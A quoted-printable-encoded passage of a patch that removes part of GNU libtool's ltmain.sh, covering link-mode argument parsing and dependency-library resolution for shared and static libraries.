prev=3Dexpsyms -=09else -=09 prev=3Dexpsyms_regex -=09fi -=09continue -=09;; - - -inst-prefix-dir) -=09prev=3Dinst_prefix -=09continue -=09;; - - # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:* - # so, if we see these flags be careful not to treat them like -L - -L[A-Z][A-Z]*:*) -=09case $with_gcc/$host in -=09no/*-*-irix* | /*-*-irix*) -=09 compile_command=3D"$compile_command $arg" -=09 finalize_command=3D"$finalize_command $arg" -=09 ;; -=09esac -=09continue -=09;; - - -L*) -=09dir=3D`$echo "X$arg" | $Xsed -e 's/^-L//'` -=09# We need an absolute path. -=09case $dir in -=09[\\/]* | [A-Za-z]:[\\/]*) ;; -=09*) -=09 absdir=3D`cd "$dir" && pwd` -=09 if test -z "$absdir"; then -=09 $echo "$modename: cannot determine absolute directory name of \= `$dir'" 1>&2 -=09 exit $EXIT_FAILURE -=09 fi -=09 dir=3D"$absdir" -=09 ;; -=09esac -=09case "$deplibs " in -=09*" -L$dir "*) ;; -=09*) -=09 deplibs=3D"$deplibs -L$dir" -=09 lib_search_path=3D"$lib_search_path $dir" -=09 ;; -=09esac -=09case $host in -=09*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) -=09 case :$dllsearchpath: in -=09 *":$dir:"*) ;; -=09 *) dllsearchpath=3D"$dllsearchpath:$dir";; -=09 esac -=09 ;; -=09esac -=09continue -=09;; - - -l*) -=09if test "X$arg" =3D "X-lc" || test "X$arg" =3D "X-lm"; then -=09 case $host in -=09 *-*-cygwin* | *-*-pw32* | *-*-beos*) -=09 # These systems don't actually have a C or math library (as suc= h) -=09 continue -=09 ;; -=09 *-*-mingw* | *-*-os2*) -=09 # These systems don't actually have a C library (as such) -=09 test "X$arg" =3D "X-lc" && continue -=09 ;; -=09 *-*-openbsd* | *-*-freebsd*) -=09 # Do not include libc due to us having libc/libc_r. -=09 test "X$arg" =3D "X-lc" && continue -=09 ;; -=09 *-*-rhapsody* | *-*-darwin1.[012]) -=09 # Rhapsody C and math libraries are in the System framework -=09 deplibs=3D"$deplibs -framework System" -=09 continue -=09 esac -=09elif test "X$arg" =3D "X-lc_r"; then -=09 case $host in -=09 *-*-openbsd* | *-*-freebsd*) -=09 # Do not include libc_r directly, use -pthread flag. -=09 continue -=09 ;; -=09 esac -=09fi -=09deplibs=3D"$deplibs $arg" -=09continue -=09;; - - -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe) -=09deplibs=3D"$deplibs $arg" -=09continue -=09;; - - -module) -=09module=3Dyes -=09continue -=09;; - - # gcc -m* arguments should be passed to the linker via $compiler= _flags - # in order to pass architecture information to the linker - # (e.g. 32 vs 64-bit). This may also be accomplished via -Wl,-m= foo - # but this is not reliable with gcc because gcc may use -mfoo to - # select a different linker, different libraries, etc, while - # -Wl,-mfoo simply passes -mfoo to the linker. - -m*) -=09# Unknown arguments in both finalize_command and compile_command ne= ed -=09# to be aesthetically quoted because they are evaled later. -=09arg=3D`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` -=09case $arg in -=09*[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09 arg=3D"\"$arg\"" -=09 ;; -=09esac - compile_command=3D"$compile_command $arg" - finalize_command=3D"$finalize_command $arg" - if test "$with_gcc" =3D "yes" ; then - compiler_flags=3D"$compiler_flags $arg" - fi - continue - ;; - - -shrext) -=09prev=3Dshrext -=09continue -=09;; - - -no-fast-install) -=09fast_install=3Dno -=09continue -=09;; - - -no-install) -=09case $host in -=09*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) -=09 # The PATH hackery in wrapper scripts is required on Windows -=09 # in order for the loader to find any dlls it needs. -=09 $echo "$modename: warning: \`-no-install' is ignored for $host" 1= >&2 -=09 $echo "$modename: warning: assuming \`-no-fast-install' instead" = 1>&2 -=09 fast_install=3Dno -=09 ;; -=09*) no_install=3Dyes ;; -=09esac -=09continue -=09;; - - -no-undefined) -=09allow_undefined=3Dno -=09continue -=09;; - - -objectlist) -=09prev=3Dobjectlist -=09continue -=09;; - - -o) prev=3Doutput ;; - - -precious-files-regex) -=09prev=3Dprecious_regex -=09continue -=09;; - - -release) -=09prev=3Drelease -=09continue -=09;; - - -rpath) -=09prev=3Drpath -=09continue -=09;; - - -R) -=09prev=3Dxrpath -=09continue -=09;; - - -R*) -=09dir=3D`$echo "X$arg" | $Xsed -e 's/^-R//'` -=09# We need an absolute path. -=09case $dir in -=09[\\/]* | [A-Za-z]:[\\/]*) ;; -=09*) -=09 $echo "$modename: only absolute run-paths are allowed" 1>&2 -=09 exit $EXIT_FAILURE -=09 ;; -=09esac -=09case "$xrpath " in -=09*" $dir "*) ;; -=09*) xrpath=3D"$xrpath $dir" ;; -=09esac -=09continue -=09;; - - -static) -=09# The effects of -static are defined in a previous loop. -=09# We used to do the same as -all-static on platforms that -=09# didn't have a PIC flag, but the assumption that the effects -=09# would be equivalent was wrong. It would break on at least -=09# Digital Unix and AIX. -=09continue -=09;; - - -thread-safe) -=09thread_safe=3Dyes -=09continue -=09;; - - -version-info) -=09prev=3Dvinfo -=09continue -=09;; - -version-number) -=09prev=3Dvinfo -=09vinfo_number=3Dyes -=09continue -=09;; - - -Wc,*) -=09args=3D`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wc,//'` -=09arg=3D -=09save_ifs=3D"$IFS"; IFS=3D',' -=09for flag in $args; do -=09 IFS=3D"$save_ifs" -=09 case $flag in -=09 *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09 flag=3D"\"$flag\"" -=09 ;; -=09 esac -=09 arg=3D"$arg $wl$flag" -=09 compiler_flags=3D"$compiler_flags $flag" -=09done -=09IFS=3D"$save_ifs" -=09arg=3D`$echo "X$arg" | $Xsed -e "s/^ //"` -=09;; - - -Wl,*) -=09args=3D`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wl,//'` -=09arg=3D -=09save_ifs=3D"$IFS"; IFS=3D',' -=09for flag in $args; do -=09 IFS=3D"$save_ifs" -=09 case $flag in -=09 *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09 flag=3D"\"$flag\"" -=09 ;; -=09 esac -=09 arg=3D"$arg $wl$flag" -=09 compiler_flags=3D"$compiler_flags $wl$flag" -=09 linker_flags=3D"$linker_flags $flag" -=09done -=09IFS=3D"$save_ifs" -=09arg=3D`$echo "X$arg" | $Xsed -e "s/^ //"` -=09;; - - -Xcompiler) -=09prev=3Dxcompiler -=09continue -=09;; - - -Xlinker) -=09prev=3Dxlinker -=09continue -=09;; - - -XCClinker) -=09prev=3Dxcclinker -=09continue -=09;; - - # Some other compiler flag. - -* | +*) -=09# Unknown arguments in both finalize_command and compile_command ne= ed -=09# to be aesthetically quoted because they are evaled later. -=09arg=3D`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` -=09case $arg in -=09*[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09 arg=3D"\"$arg\"" -=09 ;; -=09esac -=09;; - - *.$objext) -=09# A standard object. -=09objs=3D"$objs $arg" -=09;; - - *.lo) -=09# A libtool-controlled object. - -=09# Check to see that this really is a libtool object. -=09if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/= null 2>&1; then -=09 pic_object=3D -=09 non_pic_object=3D - -=09 # Read the .lo file -=09 # If there is no directory component, then add one. -=09 case $arg in -=09 */* | *\\*) . $arg ;; -=09 *) . ./$arg ;; -=09 esac - -=09 if test -z "$pic_object" || \ -=09 test -z "$non_pic_object" || -=09 test "$pic_object" =3D none && \ -=09 test "$non_pic_object" =3D none; then -=09 $echo "$modename: cannot find name of object for \`$arg'" 1>&2 -=09 exit $EXIT_FAILURE -=09 fi - -=09 # Extract subdirectory from the argument. -=09 xdir=3D`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` -=09 if test "X$xdir" =3D "X$arg"; then -=09 xdir=3D - =09 else -=09 xdir=3D"$xdir/" -=09 fi - -=09 if test "$pic_object" !=3D none; then -=09 # Prepend the subdirectory the object is found in. -=09 pic_object=3D"$xdir$pic_object" - -=09 if test "$prev" =3D dlfiles; then -=09 if test "$build_libtool_libs" =3D yes && test "$dlopen_suppor= t" =3D yes; then -=09=09dlfiles=3D"$dlfiles $pic_object" -=09=09prev=3D -=09=09continue -=09 else -=09=09# If libtool objects are unsupported, then we need to preload. -=09=09prev=3Ddlprefiles -=09 fi -=09 fi - -=09 # CHECK ME: I think I busted this. -Ossama -=09 if test "$prev" =3D dlprefiles; then -=09 # Preload the old-style object. -=09 dlprefiles=3D"$dlprefiles $pic_object" -=09 prev=3D -=09 fi - -=09 # A PIC object. -=09 libobjs=3D"$libobjs $pic_object" -=09 arg=3D"$pic_object" -=09 fi - -=09 # Non-PIC object. -=09 if test "$non_pic_object" !=3D none; then -=09 # Prepend the subdirectory the object is found in. -=09 non_pic_object=3D"$xdir$non_pic_object" - -=09 # A standard non-PIC object -=09 non_pic_objects=3D"$non_pic_objects $non_pic_object" -=09 if test -z "$pic_object" || test "$pic_object" =3D none ; then -=09 arg=3D"$non_pic_object" -=09 fi -=09 fi -=09else -=09 # Only an error if not doing a dry-run. -=09 if test -z "$run"; then -=09 $echo "$modename: \`$arg' is not a valid libtool object" 1>&2 -=09 exit $EXIT_FAILURE -=09 else -=09 # Dry-run case. - -=09 # Extract subdirectory from the argument. -=09 xdir=3D`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` -=09 if test "X$xdir" =3D "X$arg"; then -=09 xdir=3D -=09 else -=09 xdir=3D"$xdir/" -=09 fi - -=09 pic_object=3D`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2= o"` -=09 non_pic_object=3D`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"` -=09 libobjs=3D"$libobjs $pic_object" -=09 non_pic_objects=3D"$non_pic_objects $non_pic_object" -=09 fi -=09fi -=09;; - - *.$libext) -=09# An archive. -=09deplibs=3D"$deplibs $arg" -=09old_deplibs=3D"$old_deplibs $arg" -=09continue -=09;; - - *.la) -=09# A libtool-controlled library. - -=09if test "$prev" =3D dlfiles; then -=09 # This library was specified with -dlopen. -=09 dlfiles=3D"$dlfiles $arg" -=09 prev=3D -=09elif test "$prev" =3D dlprefiles; then -=09 # The library was specified with -dlpreopen. -=09 dlprefiles=3D"$dlprefiles $arg" -=09 prev=3D -=09else -=09 deplibs=3D"$deplibs $arg" -=09fi -=09continue -=09;; - - # Some other compiler argument. - *) -=09# Unknown arguments in both finalize_command and compile_command ne= ed -=09# to be aesthetically quoted because they are evaled later. -=09arg=3D`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` -=09case $arg in -=09*[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09 arg=3D"\"$arg\"" -=09 ;; -=09esac -=09;; - esac # arg - - # Now actually substitute the argument into the commands. - if test -n "$arg"; then -=09compile_command=3D"$compile_command $arg" -=09finalize_command=3D"$finalize_command $arg" - fi - done # argument parsing loop - - if test -n "$prev"; then - $echo "$modename: the \`$prevarg' option requires an argument" 1= >&2 - $echo "$help" 1>&2 - exit $EXIT_FAILURE - fi - - if test "$export_dynamic" =3D yes && test -n "$export_dynamic_flag= _spec"; then - eval arg=3D\"$export_dynamic_flag_spec\" - compile_command=3D"$compile_command $arg" - finalize_command=3D"$finalize_command $arg" - fi - - oldlibs=3D - # calculate the name of the file, without its directory - outputname=3D`$echo "X$output" | $Xsed -e 's%^.*/%%'` - libobjs_save=3D"$libobjs" - - if test -n "$shlibpath_var"; then - # get the directories listed in $shlibpath_var - eval shlib_search_path=3D\`\$echo \"X\${$shlibpath_var}\" \| \$X= sed -e \'s/:/ /g\'\` - else - shlib_search_path=3D - fi - eval sys_lib_search_path=3D\"$sys_lib_search_path_spec\" - eval sys_lib_dlsearch_path=3D\"$sys_lib_dlsearch_path_spec\" - - output_objdir=3D`$echo "X$output" | $Xsed -e 's%/[^/]*$%%'` - if test "X$output_objdir" =3D "X$output"; then - output_objdir=3D"$objdir" - else - output_objdir=3D"$output_objdir/$objdir" - fi - # Create the object directory. - if test ! -d "$output_objdir"; then - $show "$mkdir $output_objdir" - $run $mkdir $output_objdir - status=3D$? - if test "$status" -ne 0 && test ! -d "$output_objdir"; then -=09exit $status - fi - fi - - # Determine the type of output - case $output in - "") - $echo "$modename: you must specify an output file" 1>&2 - $echo "$help" 1>&2 - exit $EXIT_FAILURE - ;; - *.$libext) linkmode=3Doldlib ;; - *.lo | *.$objext) linkmode=3Dobj ;; - *.la) linkmode=3Dlib ;; - *) linkmode=3Dprog ;; # Anything else should be a program. - esac - - case $host in - *cygwin* | *mingw* | *pw32*) - # don't eliminate duplications in $postdeps and $predeps - duplicate_compiler_generated_deps=3Dyes - ;; - *) - duplicate_compiler_generated_deps=3D$duplicate_deps - ;; - esac - specialdeplibs=3D - - libs=3D - # Find all interdependent deplibs by searching for libraries - # that are linked more than once (e.g. -la -lb -la) - for deplib in $deplibs; do - if test "X$duplicate_deps" =3D "Xyes" ; then -=09case "$libs " in -=09*" $deplib "*) specialdeplibs=3D"$specialdeplibs $deplib" ;; -=09esac - fi - libs=3D"$libs $deplib" - done - - if test "$linkmode" =3D lib; then - libs=3D"$predeps $libs $compiler_lib_search_path $postdeps" - - # Compute libraries that are listed more than once in $predeps - # $postdeps and mark them as special (i.e., whose duplicates are - # not to be eliminated). - pre_post_deps=3D - if test "X$duplicate_compiler_generated_deps" =3D "Xyes" ; then -=09for pre_post_dep in $predeps $postdeps; do -=09 case "$pre_post_deps " in -=09 *" $pre_post_dep "*) specialdeplibs=3D"$specialdeplibs $pre_post_= deps" ;; -=09 esac -=09 pre_post_deps=3D"$pre_post_deps $pre_post_dep" -=09done - fi - pre_post_deps=3D - fi - - deplibs=3D - newdependency_libs=3D - newlib_search_path=3D - need_relink=3Dno # whether we're linking any uninstalled libtool l= ibraries - notinst_deplibs=3D # not-installed libtool libraries - notinst_path=3D # paths that contain not-installed libtool librari= es - case $linkmode in - lib) -=09passes=3D"conv link" -=09for file in $dlfiles $dlprefiles; do -=09 case $file in -=09 *.la) ;; -=09 *) -=09 $echo "$modename: libraries can \`-dlopen' only libtool librari= es: $file" 1>&2 -=09 exit $EXIT_FAILURE -=09 ;; -=09 esac -=09done -=09;; - prog) -=09compile_deplibs=3D -=09finalize_deplibs=3D -=09alldeplibs=3Dno -=09newdlfiles=3D -=09newdlprefiles=3D -=09passes=3D"conv scan dlopen dlpreopen link" -=09;; - *) passes=3D"conv" -=09;; - esac - for pass in $passes; do - if test "$linkmode,$pass" =3D "lib,link" || -=09 test "$linkmode,$pass" =3D "prog,scan"; then -=09libs=3D"$deplibs" -=09deplibs=3D - fi - if test "$linkmode" =3D prog; then -=09case $pass in -=09dlopen) libs=3D"$dlfiles" ;; -=09dlpreopen) libs=3D"$dlprefiles" ;; -=09link) libs=3D"$deplibs %DEPLIBS% $dependency_libs" ;; -=09esac - fi - if test "$pass" =3D dlopen; then -=09# Collect dlpreopened libraries -=09save_deplibs=3D"$deplibs" -=09deplibs=3D - fi - for deplib in $libs; do -=09lib=3D -=09found=3Dno -=09case $deplib in -=09-mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe) -=09 if test "$linkmode,$pass" =3D "prog,link"; then -=09 compile_deplibs=3D"$deplib $compile_deplibs" -=09 finalize_deplibs=3D"$deplib $finalize_deplibs" -=09 else -=09 deplibs=3D"$deplib $deplibs" -=09 fi -=09 continue -=09 ;; -=09-l*) -=09 if test "$linkmode" !=3D lib && test "$linkmode" !=3D prog; then -=09 $echo "$modename: warning: \`-l' is ignored for archives/object= s" 1>&2 -=09 continue -=09 fi -=09 if test "$pass" =3D conv; then -=09 deplibs=3D"$deplib $deplibs" -=09 continue -=09 fi -=09 name=3D`$echo "X$deplib" | $Xsed -e 's/^-l//'` -=09 for searchdir in $newlib_search_path $lib_search_path $sys_lib_se= arch_path $shlib_search_path; do -=09 for search_ext in .la $std_shrext .so .a; do -=09 # Search the libtool library -=09 lib=3D"$searchdir/lib${name}${search_ext}" -=09 if test -f "$lib"; then -=09=09if test "$search_ext" =3D ".la"; then -=09=09 found=3Dyes -=09=09else -=09=09 found=3Dno -=09=09fi -=09=09break 2 -=09 fi -=09 done -=09 done -=09 if test "$found" !=3D yes; then -=09 # deplib doesn't seem to be a libtool library -=09 if test "$linkmode,$pass" =3D "prog,link"; then -=09 compile_deplibs=3D"$deplib $compile_deplibs" -=09 finalize_deplibs=3D"$deplib $finalize_deplibs" -=09 else -=09 deplibs=3D"$deplib $deplibs" -=09 test "$linkmode" =3D lib && newdependency_libs=3D"$deplib $ne= wdependency_libs" -=09 fi -=09 continue -=09 else # deplib is a libtool library -=09 # If $allow_libtool_libs_with_static_runtimes && $deplib is a s= tdlib, -=09 # We need to do some special things here, and not later. -=09 if test "X$allow_libtool_libs_with_static_runtimes" =3D "Xyes" = ; then -=09 case " $predeps $postdeps " in -=09 *" $deplib "*) -=09=09if (${SED} -e '2q' $lib | - grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1= ; then -=09=09 library_names=3D -=09=09 old_library=3D -=09=09 case $lib in -=09=09 */* | *\\*) . $lib ;; -=09=09 *) . ./$lib ;; -=09=09 esac -=09=09 for l in $old_library $library_names; do -=09=09 ll=3D"$l" -=09=09 done -=09=09 if test "X$ll" =3D "X$old_library" ; then # only static versio= n available -=09=09 found=3Dno -=09=09 ladir=3D`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'` -=09=09 test "X$ladir" =3D "X$lib" && ladir=3D"." -=09=09 lib=3D$ladir/$old_library -=09=09 if test "$linkmode,$pass" =3D "prog,link"; then -=09=09 compile_deplibs=3D"$deplib $compile_deplibs" -=09=09 finalize_deplibs=3D"$deplib $finalize_deplibs" -=09=09 else -=09=09 deplibs=3D"$deplib $deplibs" -=09=09 test "$linkmode" =3D lib && newdependency_libs=3D"$deplib = $newdependency_libs" -=09=09 fi -=09=09 continue -=09=09 fi -=09=09fi -=09 ;; -=09 *) ;; -=09 esac -=09 fi -=09 fi -=09 ;; # -l -=09-L*) -=09 case $linkmode in -=09 lib) -=09 deplibs=3D"$deplib $deplibs" -=09 test "$pass" =3D conv && continue -=09 newdependency_libs=3D"$deplib $newdependency_libs" -=09 newlib_search_path=3D"$newlib_search_path "`$echo "X$deplib" | = $Xsed -e 's/^-L//'` -=09 ;; -=09 prog) -=09 if test "$pass" =3D conv; then -=09 deplibs=3D"$deplib $deplibs" -=09 continue -=09 fi -=09 if test "$pass" =3D scan; then -=09 deplibs=3D"$deplib $deplibs" -=09 else -=09 compile_deplibs=3D"$deplib $compile_deplibs" -=09 finalize_deplibs=3D"$deplib $finalize_deplibs" -=09 fi -=09 newlib_search_path=3D"$newlib_search_path "`$echo "X$deplib" | = $Xsed -e 's/^-L//'` -=09 ;; -=09 *) -=09 $echo "$modename: warning: \`-L' is ignored for archives/object= s" 1>&2 -=09 ;; -=09 esac # linkmode -=09 continue -=09 ;; # -L -=09-R*) -=09 if test "$pass" =3D link; then -=09 dir=3D`$echo "X$deplib" | $Xsed -e 's/^-R//'` -=09 # Make sure the xrpath contains only unique directories. -=09 case "$xrpath " in -=09 *" $dir "*) ;; -=09 *) xrpath=3D"$xrpath $dir" ;; -=09 esac -=09 fi -=09 deplibs=3D"$deplib $deplibs" -=09 continue -=09 ;; -=09*.la) lib=3D"$deplib" ;; -=09*.$libext) -=09 if test "$pass" =3D conv; then -=09 deplibs=3D"$deplib $deplibs" -=09 continue -=09 fi -=09 case $linkmode in -=09 lib) -=09 valid_a_lib=3Dno -=09 case $deplibs_check_method in -=09 match_pattern*) -=09=09set dummy $deplibs_check_method -=09 match_pattern_regex=3D`expr "$deplibs_check_method" : "$2 \= (.*\)"` -=09=09if eval $echo \"$deplib\" 2>/dev/null \ -=09=09 | $SED 10q \ -=09=09 | $EGREP "$match_pattern_regex" > /dev/null; then -=09=09 valid_a_lib=3Dyes -=09=09fi -=09=09;; -=09 pass_all) -=09=09valid_a_lib=3Dyes -=09=09;; - esac -=09 if test "$valid_a_lib" !=3D yes; then -=09 $echo -=09 $echo "*** Warning: Trying to link with static lib archive $d= eplib." -=09 $echo "*** I have the capability to make that library automat= ically link in when" -=09 $echo "*** you link to this library. But I can only do this = if you have a" -=09 $echo "*** shared version of the library, which you do not ap= pear to have" -=09 $echo "*** because the file extensions .$libext of this argum= ent makes me believe" -=09 $echo "*** that it is just a static archive that I should not= used here." -=09 else -=09 $echo -=09 $echo "*** Warning: Linking the shared library $output agains= t the" -=09 $echo "*** static library $deplib is not portable!" -=09 deplibs=3D"$deplib $deplibs" -=09 fi -=09 continue -=09 ;; -=09 prog) -=09 if test "$pass" !=3D link; then -=09 deplibs=3D"$deplib $deplibs" -=09 else -=09 compile_deplibs=3D"$deplib $compile_deplibs" -=09 finalize_deplibs=3D"$deplib $finalize_deplibs" -=09 fi -=09 continue -=09 ;; -=09 esac # linkmode -=09 ;; # *.$libext -=09*.lo | *.$objext) -=09 if test "$pass" =3D conv; then -=09 deplibs=3D"$deplib $deplibs" -=09 elif test "$linkmode" =3D prog; then -=09 if test "$pass" =3D dlpreopen || test "$dlopen_support" !=3D ye= s || test "$build_libtool_libs" =3D no; then -=09 # If there is no dlopen support or we're linking statically, -=09 # we need to preload. -=09 newdlprefiles=3D"$newdlprefiles $deplib" -=09 compile_deplibs=3D"$deplib $compile_deplibs" -=09 finalize_deplibs=3D"$deplib $finalize_deplibs" -=09 else -=09 newdlfiles=3D"$newdlfiles $deplib" -=09 fi -=09 fi -=09 continue -=09 ;; -=09%DEPLIBS%) -=09 alldeplibs=3Dyes -=09 continue -=09 ;; -=09esac # case $deplib -=09if test "$found" =3D yes || test -f "$lib"; then : -=09else -=09 $echo "$modename: cannot find the library \`$lib'" 1>&2 -=09 exit $EXIT_FAILURE -=09fi - -=09# Check to see that this really is a libtool archive. -=09if (${SED} -e '2q' $lib | grep "^# Generated by .*$PACKAGE") >/dev/= null 2>&1; then : -=09else -=09 $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 -=09 exit $EXIT_FAILURE -=09fi - -=09ladir=3D`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'` -=09test "X$ladir" =3D "X$lib" && ladir=3D"." - -=09dlname=3D -=09dlopen=3D -=09dlpreopen=3D -=09libdir=3D -=09library_names=3D -=09old_library=3D -=09# If the library was installed with an old release of libtool, -=09# it will not redefine variables installed, or shouldnotlink -=09installed=3Dyes -=09shouldnotlink=3Dno - -=09# Read the .la file -=09case $lib in -=09*/* | *\\*) . $lib ;; -=09*) . ./$lib ;; -=09esac - -=09if test "$linkmode,$pass" =3D "lib,link" || -=09 test "$linkmode,$pass" =3D "prog,scan" || -=09 { test "$linkmode" !=3D prog && test "$linkmode" !=3D lib; }; th= en -=09 test -n "$dlopen" && dlfiles=3D"$dlfiles $dlopen" -=09 test -n "$dlpreopen" && dlprefiles=3D"$dlprefiles $dlpreopen" -=09fi - -=09if test "$pass" =3D conv; then -=09 # Only check for convenience libraries -=09 deplibs=3D"$lib $deplibs" -=09 if test -z "$libdir"; then -=09 if test -z "$old_library"; then -=09 $echo "$modename: cannot find name of link library for \`$lib= '" 1>&2 -=09 exit $EXIT_FAILURE -=09 fi -=09 # It is a libtool convenience library, so add in its objects. -=09 convenience=3D"$convenience $ladir/$objdir/$old_library" -=09 old_convenience=3D"$old_convenience $ladir/$objdir/$old_library= " -=09 tmp_libs=3D -=09 for deplib in $dependency_libs; do -=09 deplibs=3D"$deplib $deplibs" - if test "X$duplicate_deps" =3D "Xyes" ; then -=09 case "$tmp_libs " in -=09 *" $deplib "*) specialdeplibs=3D"$specialdeplibs $deplib" ;= ; -=09 esac - fi -=09 tmp_libs=3D"$tmp_libs $deplib" -=09 done -=09 elif test "$linkmode" !=3D prog && test "$linkmode" !=3D lib; the= n -=09 $echo "$modename: \`$lib' is not a convenience library" 1>&2 -=09 exit $EXIT_FAILURE -=09 fi -=09 continue -=09fi # $pass =3D conv - - -=09# Get the name of the library we link against. -=09linklib=3D -=09for l in $old_library $library_names; do -=09 linklib=3D"$l" -=09done -=09if test -z "$linklib"; then -=09 $echo "$modename: cannot find name of link library for \`$lib'" 1= >&2 -=09 exit $EXIT_FAILURE -=09fi - -=09# This library was specified with -dlopen. -=09if test "$pass" =3D dlopen; then -=09 if test -z "$libdir"; then -=09 $echo "$modename: cannot -dlopen a convenience library: \`$lib'= " 1>&2 -=09 exit $EXIT_FAILURE -=09 fi -=09 if test -z "$dlname" || -=09 test "$dlopen_support" !=3D yes || -=09 test "$build_libtool_libs" =3D no; then -=09 # If there is no dlname, no dlopen support or we're linking -=09 # statically, we need to preload. We also need to preload any -=09 # dependent libraries so libltdl's deplib preloader doesn't -=09 # bomb out in the load deplibs phase. -=09 dlprefiles=3D"$dlprefiles $lib $dependency_libs" -=09 else -=09 newdlfiles=3D"$newdlfiles $lib" -=09 fi -=09 continue -=09fi # $pass =3D dlopen - -=09# We need an absolute path. -=09case $ladir in -=09[\\/]* | [A-Za-z]:[\\/]*) abs_ladir=3D"$ladir" ;; -=09*) -=09 abs_ladir=3D`cd "$ladir" && pwd` -=09 if test -z "$abs_ladir"; then -=09 $echo "$modename: warning: cannot determine absolute directory = name of \`$ladir'" 1>&2 -=09 $echo "$modename: passing it literally to the linker, although = it might fail" 1>&2 -=09 abs_ladir=3D"$ladir" -=09 fi -=09 ;; -=09esac -=09laname=3D`$echo "X$lib" | $Xsed -e 's%^.*/%%'` - -=09# Find the relevant object directory and library name. -=09if test "X$installed" =3D Xyes; then -=09 if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib";= then -=09 $echo "$modename: warning: library \`$lib' was moved." 1>&2 -=09 dir=3D"$ladir" -=09 absdir=3D"$abs_ladir" -=09 libdir=3D"$abs_ladir" -=09 else -=09 dir=3D"$libdir" -=09 absdir=3D"$libdir" -=09 fi -=09else -=09 if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$li= nklib"; then -=09 dir=3D"$ladir" -=09 absdir=3D"$abs_ladir" -=09 # Remove this search path later -=09 notinst_path=3D"$notinst_path $abs_ladir" -=09 else -=09 dir=3D"$ladir/$objdir" -=09 absdir=3D"$abs_ladir/$objdir" -=09 # Remove this search path later -=09 notinst_path=3D"$notinst_path $abs_ladir" -=09 fi -=09fi # $installed =3D yes -=09name=3D`$echo "X$laname" | $Xsed -e 's/\.la$//' -e 's/^lib//'` - -=09# This library was specified with -dlpreopen. -=09if test "$pass" =3D dlpreopen; then -=09 if test -z "$libdir"; then -=09 $echo "$modename: cannot -dlpreopen a convenience library: \`$l= ib'" 1>&2 -=09 exit $EXIT_FAILURE -=09 fi -=09 # Prefer using a static library (so that no silly _DYNAMIC symbol= s -=09 # are required to link). -=09 if test -n "$old_library"; then -=09 newdlprefiles=3D"$newdlprefiles $dir/$old_library" -=09 # Otherwise, use the dlname, so that lt_dlopen finds it. -=09 elif test -n "$dlname"; then -=09 newdlprefiles=3D"$newdlprefiles $dir/$dlname" -=09 else -=09 newdlprefiles=3D"$newdlprefiles $dir/$linklib" -=09 fi -=09fi # $pass =3D dlpreopen - -=09if test -z "$libdir"; then -=09 # Link the convenience library -=09 if test "$linkmode" =3D lib; then -=09 deplibs=3D"$dir/$old_library $deplibs" -=09 elif test "$linkmode,$pass" =3D "prog,link"; then -=09 compile_deplibs=3D"$dir/$old_library $compile_deplibs" -=09 finalize_deplibs=3D"$dir/$old_library $finalize_deplibs" -=09 else -=09 deplibs=3D"$lib $deplibs" # used for prog,scan pass -=09 fi -=09 continue -=09fi - - -=09if test "$linkmode" =3D prog && test "$pass" !=3D link; then -=09 newlib_search_path=3D"$newlib_search_path $ladir" -=09 deplibs=3D"$lib $deplibs" - -=09 linkalldeplibs=3Dno -=09 if test "$link_all_deplibs" !=3D no || test -z "$library_names" |= | -=09 test "$build_libtool_libs" =3D no; then -=09 linkalldeplibs=3Dyes -=09 fi - -=09 tmp_libs=3D -=09 for deplib in $dependency_libs; do -=09 case $deplib in -=09 -L*) newlib_search_path=3D"$newlib_search_path "`$echo "X$depli= b" | $Xsed -e 's/^-L//'`;; ### testsuite: skip nested quoting test -=09 esac -=09 # Need to link against all dependency_libs? -=09 if test "$linkalldeplibs" =3D yes; then -=09 deplibs=3D"$deplib $deplibs" -=09 else -=09 # Need to hardcode shared library paths -=09 # or/and link against static libraries -=09 newdependency_libs=3D"$deplib $newdependency_libs" -=09 fi -=09 if test "X$duplicate_deps" =3D "Xyes" ; then -=09 case "$tmp_libs " in -=09 *" $deplib "*) specialdeplibs=3D"$specialdeplibs $deplib" ;; -=09 esac -=09 fi -=09 tmp_libs=3D"$tmp_libs $deplib" -=09 done # for deplib -=09 continue -=09fi # $linkmode =3D prog... - -=09if test "$linkmode,$pass" =3D "prog,link"; then -=09 if test -n "$library_names" && -=09 { test "$prefer_static_libs" =3D no || test -z "$old_library";= }; then -=09 # We need to hardcode the library path -=09 if test -n "$shlibpath_var"; then -=09 # Make sure the rpath contains only unique directories. -=09 case "$temp_rpath " in -=09 *" $dir "*) ;; -=09 *" $absdir "*) ;; -=09 *) temp_rpath=3D"$temp_rpath $dir" ;; -=09 esac -=09 fi - -=09 # Hardcode the library path. -=09 # Skip directories that are in the system default run-time -=09 # search path. -=09 case " $sys_lib_dlsearch_path " in -=09 *" $absdir "*) ;; -=09 *) -=09 case "$compile_rpath " in -=09 *" $absdir "*) ;; -=09 *) compile_rpath=3D"$compile_rpath $absdir" -=09 esac -=09 ;; -=09 esac -=09 case " 